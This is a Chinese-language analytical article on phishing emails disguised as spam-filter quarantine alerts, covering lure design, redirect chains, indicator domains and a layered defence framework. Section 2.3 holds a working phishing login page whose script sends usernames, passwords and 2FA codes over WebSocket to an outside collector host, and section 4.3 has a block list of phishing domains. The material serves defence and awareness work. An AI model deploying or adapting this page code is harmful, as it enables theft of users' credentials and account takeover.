伪装垃圾邮件过滤器警报的钓鱼攻击:机制、检测与防御

摘要

近年来,网络钓鱼攻击呈现出高度专业化与情境化趋势。其中,一类新型钓鱼活动通过伪造企业级垃圾邮件过滤器或邮件隔离网关的通知邮件,诱导用户点击“释放被隔离邮件”按钮,进而跳转至高仿真的凭证窃取页面。此类攻击利用了企业用户对邮件可达性的天然关注,以及对内部安全系统通知的信任惯性,具有极强的欺骗性。本文基于Malwarebytes于2025年11月披露的真实攻击案例,深入剖析该类钓鱼攻击的技术实现路径,包括邮件内容构造、多跳重定向机制、动态登录页生成、WebSocket实时凭证传输等关键环节。在此基础上,提出一套涵盖终端防护、邮件网关策略优化、身份认证强化及用户行为训练的多层次防御体系。通过代码示例展示攻击链中关键组件的工作原理,并结合实际日志分析说明现有安全架构中的检测盲区。研究表明,仅依赖传统URL黑名单或静态内容过滤已难以有效应对该类高度自适应的钓鱼变种,必须结合上下文感知、行为分析与零信任原则构建纵深防御机制。

关键词:钓鱼攻击;垃圾邮件过滤器;凭证窃取;WebSocket;邮件安全网关;多因素认证

1 引言

企业电子邮件系统作为组织通信的核心基础设施,长期是网络攻击者的首要目标。根据Verizon《2025年数据泄露调查报告》,超过90%的初始入侵仍源于社会工程手段,其中钓鱼邮件占据主导地位。随着终端安全软件与邮件过滤技术的普及,传统“发票附件”“账户异常”等低级钓鱼模板的检出率显著提升,迫使攻击者转向更具隐蔽性与情境适配能力的攻击范式。

2025年下半年,多个安全研究机构(包括Unit42与Malwarebytes)相继披露一类新型钓鱼活动:攻击者精心构造看似来自企业内部邮件安全网关(如Mimecast、Proofpoint或Exchange Online Protection)的通知邮件,声称“部分入站邮件因安全策略被隔离”,并提供“立即释放”或“查看待处理消息”的操作按钮。此类邮件在视觉排版、术语使用乃至发件人域名(通过子域名仿冒或SPF/DKIM绕过)上均高度模仿真实系统通知,极易诱使用户点击。

更值得警惕的是,后续跳转的钓鱼页面不仅自动填充目标用户的邮箱域名以增强可信度,还通过WebSocket建立持久连接,在用户输入凭证的瞬间即完成数据回传,甚至可实时请求第二因子验证码,极大压缩了响应窗口。一旦凭证失窃,攻击者可迅速接管邮箱,实施BEC(商业邮件欺诈)、横向移动或部署勒索软件。

本文聚焦于此类“伪装垃圾邮件过滤器警报”的钓鱼攻击,旨在系统性回答以下问题:(1)攻击者如何构造具备高欺骗性的通知邮件?(2)其背后的技术栈如何实现动态化与反检测?(3)现有安全控制措施为何失效?(4)应如何构建有效的技术与管理对策?全文结构如下:第二节详述攻击流程与技术细节;第三节分析现有防御体系的局限;第四节提出综合防御框架并辅以代码实现;第五节总结研究发现与实践启示。

2 攻击机制剖析

2.1 邮件内容构造与社会工程设计

攻击邮件通常包含以下要素以增强可信度:

主题行:如“[Action Required] Pending Messages in Quarantine – SecureMail Upgrade”;

发件人地址:使用与目标组织域名相近的仿冒域名(如 security@seychellesapartment-com.mailprotect[.]xyz),或利用合法第三方服务(如 noreply@cbssports[.]com)进行跳转;

正文结构:模拟真实邮件网关界面,列出若干“被拦截邮件”的主题(如“Invoice #2025-1187”、“Meeting Reschedule Request”),均为通用高频词汇,避免触发内容过滤规则;

紧迫性提示:“Messages will be auto-deleted after 24 hours”或“Confirm within 2 hours to avoid delivery failure”;

操作按钮:突出显示“Move to Inbox”或“Release Quarantined Messages”,通常为HTML按钮而非纯文本链接,提升交互感。

值得注意的是,邮件末尾常附带“Unsubscribe”链接,进一步模仿合法营销邮件的行为模式,降低用户警惕性。

2.2 多跳重定向与域名滥用

为规避URL信誉检测,攻击链普遍采用多层跳转。以Malwarebytes披露案例为例:

用户点击“Move to Inbox”按钮,触发指向 https://www.cbssports[.]com/redirect?url=... 的请求;

CBS Sports作为合法高信誉站点,其短链服务被滥用,将流量重定向至恶意域名 xxx-three-theta.vercel[.]app;

该Vercel子域名再跳转至最终钓鱼页面 https://secure-login.mdbgo[.]io/?email=info%40seychellesapartment.com。

此过程中,原始钓鱼链接被Base64编码或作为参数传递,使得静态扫描难以关联最终恶意载荷。同时,攻击者大量注册免费托管平台(如Vercel、Surge.sh、Workers.dev)的子域名,实现快速轮换,增加封禁难度。

2.3 动态钓鱼页面与WebSocket凭证窃取

最终落地页的关键特征在于其动态性与实时交互能力。页面加载时,JavaScript解析URL参数中的邮箱地址,并自动填充至登录框的域名部分(如 @seychellesapartment.com),营造“专属系统”的错觉。

更危险的是,凭证提交并非通过传统HTTP POST,而是通过WebSocket建立持久双向通道。以下为简化后的前端代码示例:

<!DOCTYPE html>

<html>

<head><title>Secure Message Portal</title></head>

<body>

<form id="loginForm">

<input type="text" id="username" placeholder="Username" required>

<input type="password" id="password" placeholder="Password" required>

<button type="submit">Sign In</b>

</form>

<script>

const emailParam = new URLSearchParams(window.location.search).get('email');

if (emailParam) {

const domain = emailParam.split('@')[1];

document.getElementById('username').placeholder = `Enter your username @${domain}`;

}

document.getElementById('loginForm').addEventListener('submit', async (e) => {

e.preventDefault();

const user = document.getElementById('username').value;

const pass = document.getElementById('password').value;

// 建立WebSocket连接

const ws = new WebSocket('wss://collector.mdbgo[.]io/steal');

ws.onopen = () => {

ws.send(JSON.stringify({

action: 'credentials',

email: user.includes('@') ? user : `${user}@${domain}`,

password: pass,

userAgent: navigator.userAgent,

timestamp: Date.now()

}));

// 可选:请求2FA

ws.onmessage = (event) => {

const msg = JSON.parse(event.data);

if (msg.request === '2fa_code') {

const code = prompt('Enter your 2FA code to complete login:');

ws.send(JSON.stringify({ action: '2fa', code: code }));

}

};

};

// 提交后跳转至真实登录页,制造成功假象

setTimeout(() => window.location.href = 'https://outlook.office365.com', 1000);

});

</script>

</body>

</html>

上述代码展示了攻击者如何在用户无感知情况下,通过WebSocket即时回传凭证,并可根据需要动态索取第二因子。由于WebSocket连接独立于页面生命周期,即使用户关闭标签页,数据传输仍可能完成。

2.4 后端基础设施与IOC特征

根据Malwarebytes提供的威胁情报,攻击基础设施呈现以下特点:

域名分布广泛:涉及 mdbgo[.]io、inftrimool[.]xyz、psee[.]io 等多个新注册域名;

托管平台集中:大量使用Vercel、Cloudflare Workers、Surge.sh等Serverless平台,便于快速部署与销毁;

代码混淆严重:前端JavaScript经多层混淆(如字符串加密、控制流扁平化),增加逆向难度;

C2通信加密:WebSocket通信内容通常为JSON格式,但可通过TLS加密,规避DPI检测。

此类基础设施的弹性与分散性,使得基于IP或域名的静态封禁策略效果有限。

3 现有防御体系的局限性

尽管企业普遍部署了邮件安全网关(SEG)、终端EDR及多因素认证(MFA),但面对此类攻击仍存在明显短板:

3.1 邮件内容过滤的盲区

传统SEG依赖关键词匹配(如“quarantine”、“release”)与发件人信誉。然而,攻击者通过以下方式绕过:

使用合法第三方域名跳转,使初始链接信誉良好;

邮件正文不含恶意附件或宏,仅为HTML通知;

关键词出现在合理上下文中(如真实隔离通知也含“pending messages”)。

因此,仅提高关键词阈值可能导致大量误报,影响业务通信。

3.2 URL信誉系统的滞后性

由于攻击域名生命周期极短(数小时至数天),且依托高信誉CDN/Hosting平台,URL信誉数据库往往在攻击发生后才更新。用户点击时,链接尚未被列入黑名单。

3.3 终端防护的被动性

即便安装了反病毒软件,若用户主动在浏览器中输入凭证,多数产品无法阻止此类“合法”表单提交行为。除非具备专门的反钓鱼模块(如Malwarebytes Browser Guard),否则难以识别高仿真登录页。

3.4 MFA的潜在绕过风险

虽然MFA显著提升账户安全性,但若钓鱼页面能实时索取OTP或推送批准通知(如Microsoft Authenticator的“Approve/Deny”提示),缺乏安全意识的用户仍可能授权。这被称为“MFA疲劳攻击”或“实时钓鱼”。

4 综合防御框架

针对上述挑战,本文提出四层防御策略:

4.1 邮件网关策略强化

上下文感知过滤:对包含“quarantine”、“release”、“pending delivery”等关键词的邮件,强制检查发件人是否属于已知邮件网关IP段或SPF记录。若发件域非企业官方域名,即使内容无害也应标记为可疑。

链接解包与沙箱点击:部署支持URL解包的安全网关,在邮件投递前自动跟随重定向链,直至最终落地页,并在隔离沙箱中渲染页面,分析其是否包含登录表单、WebSocket连接或可疑JS行为。

禁用外部“取消订阅”链接:企业内部通知不应包含退订功能,可配置策略自动移除或警告此类链接。

4.2 身份认证体系升级

推行FIDO2/WebAuthn:采用基于公钥加密的无密码认证(如YubiKey、Windows Hello),从根本上消除凭证窃取风险。即使钓鱼页面获取用户名,也无法完成认证。

条件访问策略(CAP):结合Azure AD或Okta等IdP,设置基于设备合规性、地理位置、登录时间的风险策略。例如,非公司设备首次登录需审批,异常会话自动阻断。

MFA类型优化:避免使用SMS或可被钓鱼的推送通知,优先选择FIDO2或基于TOTP的认证器应用。

4.3 终端与浏览器防护

部署反钓鱼浏览器扩展:如Malwarebytes Browser Guard、Netcraft Extension,可实时比对页面特征与已知钓鱼模板库。

启用凭证管理器策略:强制使用企业密码管理器(如1Password Business、Bitwarden),其不会在非官方域名自动填充凭证,有效阻断钓鱼表单。

以下为基于Chrome Extension API的简易钓鱼检测示例:

// content.js

chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {

if (request.action === "checkPhishing") {

const forms = document.querySelectorAll('form input[type="password"]');

if (forms.length > 0) {

const domain = window.location.hostname;

// 检查是否为已知钓鱼域名(实际应查询云端威胁情报)

const knownPhishDomains = ["mdbgo.io", "inftrimool.xyz"];

if (knownPhishDomains.some(d => domain.includes(d))) {

alert("Warning: This site is a known phishing page!");

sendResponse({ isPhish: true });

}

}

sendResponse({ isPhish: false });

}

});

4.4 用户意识与流程规范

明确操作边界:通过安全通告告知员工:“所有邮件隔离操作必须通过官方门户(如 https://mailgateway.company.com)执行,任何邮件中的‘释放’按钮均为钓鱼”。

模拟钓鱼演练:定期发送仿制攻击邮件(经授权),测试用户识别能力,并对点击者进行针对性培训。

建立报告机制:简化可疑邮件上报流程(如Outlook一键举报插件),加速威胁情报闭环。

5 结论

伪装垃圾邮件过滤器警报的钓鱼攻击代表了社会工程与技术自动化深度融合的新阶段。其成功不仅依赖于精心设计的欺骗内容,更得益于多跳重定向、动态页面生成与实时数据窃取等技术手段的协同。传统基于签名与规则的防御体系在此类攻击面前显现出结构性不足。

有效的应对必须超越单一产品思维,构建覆盖邮件入口、身份认证、终端行为与人员意识的纵深防御体系。技术上,应推动FIDO2等无密码认证的落地,强化邮件网关的上下文分析与沙箱能力;管理上,需通过清晰的操作规范与持续的对抗性训练,打破用户对“系统通知”的盲目信任。

未来研究可进一步探索基于行为生物特征(如击键动力学、鼠标轨迹)的实时钓鱼检测,或利用LLM对邮件语义进行异常模式识别。但无论如何演进,安全的本质始终在于减少攻击面、增加攻击成本,并确保即使单点失守,整体系统仍具备韧性。

编辑:芦笛(公共互联网反网络钓鱼工作组) 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

芦熙霖

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值